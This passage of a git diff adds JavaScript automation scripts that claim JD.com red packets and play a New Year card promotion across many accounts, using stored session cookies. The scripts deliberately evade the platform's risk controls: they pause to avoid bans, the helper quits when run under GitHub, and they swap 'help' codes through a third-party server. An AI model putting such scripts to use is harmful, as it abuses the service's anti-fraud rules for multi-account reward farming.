RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_ms_redrain.js b/activity/jd_ms_redrain.js new file mode 100644 index 0000000..6d2ed8e --- /dev/null +++ b/activity/jd_ms_redrain.js @@ -0,0 +1,206 @@ +/* +秒杀红包雨,可以获取3次,一天运行一次即可 +活动时间:2020-12-1 到 2020-12-31 +活动入口:首页👉秒杀👉往下拉(手指向上滑动)👉可以看到狂撒2亿京东 +更新地址:jd_ms_redrain.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#秒杀红包雨 +10 7 * * * jd_ms_redrain.js, tag=秒杀红包雨, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_ms_redrain.js, tag=秒杀红包雨 + +===============Surge================= +秒杀红包雨 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_ms_redrain.js + +============小火箭========= +秒杀红包雨 = type=cron,script-path=jd_ms_redrain.js, cronexpr="10 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('秒杀红包雨'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + for(let i=0;i<3;++i){ + await getRedRain(); + await $.wait(5000); //防止黑号 + } + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(async resolve => { + let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { + $.msg($.name, '活动已结束', `咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) + } else { + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } + resolve() + }) +} +function getRedRain() { + return new Promise(resolve => { + const body = {"actId":"RRA318jCtaXhZJgiLryM1iydEhc7Jna"}; + $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === '0') { + console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) + // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` + message+= `${data.lotteryResult.jPeasList[0].ext}:${(data.lotteryResult.jPeasList[0].quantity)}京豆\n` + + } else if (data.subCode === '8') { + console.log(`今日次数已满`) + message += `领取失败,今日已签到\n`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/active/redrain/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_newYearMoney.js b/activity/jd_newYearMoney.js new file mode 100644 index 0000000..b7eb379 --- /dev/null +++ b/activity/jd_newYearMoney.js @@ -0,0 +1,565 @@ +/* +京东压岁钱 +助力码会一直变,不影响助力 +活动时间:2021-2-1至2021-2-11 +活动入口:京东APP我的-压岁钱 +活动地址:https://unearth.m.jd.com/babelDiy/Zeus/22uHDsyHntidZV9tpwov2hrUUvmb/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东压岁钱 +20 8,12 * * * jd_newYearMoney.js, tag=京东压岁钱, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 8,12 * * *" script-path=jd_newYearMoney.js, tag=京东压岁钱 + +===============Surge================= +京东压岁钱 = type=cron,cronexp="20 8,12 * * *",wake-system=1,timeout=3600,script-path=jd_newYearMoney.js + +============小火箭========= +京东压岁钱 = type=cron,script-path=jd_newYearMoney.js, cronexpr="20 8,12 * * *", timeout=3600, enable=true + */ + +const $ = new Env('京东压岁钱'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, sendAccount = [], receiveAccount = [], receiveCardList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `vcZUAJEW6NATdpttV8s8s2aZ4u1sc6Q-bWfi11uhlAKAbA`, + `vcZUAJEW6NATdpttV8s8s2aZ4u1sc6Q-bWfi11uhlAKAbA`, +]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdNian() + await showMsg() + } + } + if(receiveAccount.length) + console.log(`开始领卡`) + for (let idx of receiveAccount) { + if (cookiesArr[parseInt(idx) - 1]) { + console.log(`账号${idx}领取赠卡`) + cookie = cookiesArr[parseInt(idx) - 1]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = parseInt(idx); + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await receiveCards() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdNian() { + try { + $.risk = false + $.red = 0 + $.total = 0 + await getHomeData() + await $.wait(2000) + if ($.risk) return + await getHomeData(true) + await helpFriends() + } catch (e) { + $.logErr(e) + } +} + +async function receiveCards() { + for (let token of receiveCardList) { + await receiveCard(token) + } +} + +function showMsg() { + return new Promise(resolve => { + if (!$.risk) message += `本次运行获得${Math.round($.red * 100) / 100}红包,共计红包${$.total}` + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +async function helpFriends() { + $.canHelp = true + for (let code of $.newShareCodes) { + if (!code) continue + await helpFriend(code) + if (!$.canHelp) return + await $.wait(4000) + } +} + +function getHomeData(info = false) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_home'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + const {inviteId, poolMoney} = data.data.result.userActBaseInfo + $.cardList = data.data.result.cardInfos + if (info) { + $.total = poolMoney + if (sendAccount.includes($.index.toString())) { + let cardList = $.cardList.filter(vo => vo.cardType !== 7) + if (cardList.length) { + console.log(`送出当前账号第一张卡(每天只能领取一个好友送的一张卡)`) + await sendCard(cardList[0].cardNo) + } + } + return + } + console.log(`您的好友助力码为:${inviteId}`) + await $.wait(2000) + for (let i = 1; i <= 6; ++i) { + let cards = data.data.result.cardInfos.filter(vo => vo.cardType === i) + for (let j = 0; j < cards.length; j += 2) { + if (j + 1 < cards.length) { + let cardA = cards[j], cardB = cards[j + 1] + console.log(`去合并${i}级卡片`) + await consumeCard(`${cardA.cardNo},${cardB.cardNo}`) + await $.wait(2000) + } + } + } + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function lotteryHundredCard() { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_lotteryHundredCard'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function showHundredCardInfo(cardNo) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_showHundredCardInfo', {cardNo: cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data) + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function receiveHundredCard(cardNo) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_receiveHundredCard', {cardNo: cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data) + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function consumeCard(cardNo) { + return new Promise((resolve) => { + setTimeout(() => { + $.post(taskPostUrl('newyearmoney_consumeCard',{"cardNo":cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + $.red += parseFloat(data.data.result.currentTimeMoney) + console.log(`合成成功,获得${data.data.result.currentTimeMoney}红包`) + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }, 1000) + }) +} + +function helpFriend(inviteId) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_assist', {inviteId: inviteId}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + console.log(data.data.result.msg) + } else { + console.log(`helpFriends ${data.data.bizMsg}`) + if (data.data.bizCode === -523) { + $.canHelp = false + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `https://code.chiang.fun/api/v1/jd/year/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +function sendCard(cardNo) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_sendCard', {"cardNo": cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + receiveCardList.push(data.data.result.token) + console.log(`送卡成功`) + } else { + console.log(`送卡失败,${data.data.bizMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function receiveCard(token) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_receiveCard', {"token": token}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + console.log(`领卡成功`) + } else { + console.log(`领卡失败,${data.data.bizMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDNY_SHARECODES) { + if (process.env.JDNY_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDNY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDNY_SHARECODES.split('&'); + } + } + + if ($.isNode() && process.env.JDNY_SENDACCOUNT) { + if (process.env.JDNY_SENDACCOUNT.indexOf('\n') > -1) { + sendAccount = process.env.JDNY_SENDACCOUNT.split('\n'); + } else { + sendAccount = process.env.JDNY_SENDACCOUNT.split('&'); + } + } + + if (sendAccount.length) + console.log(`将要送出卡片的是账号第${sendAccount.join(',')}号账号`) + + if 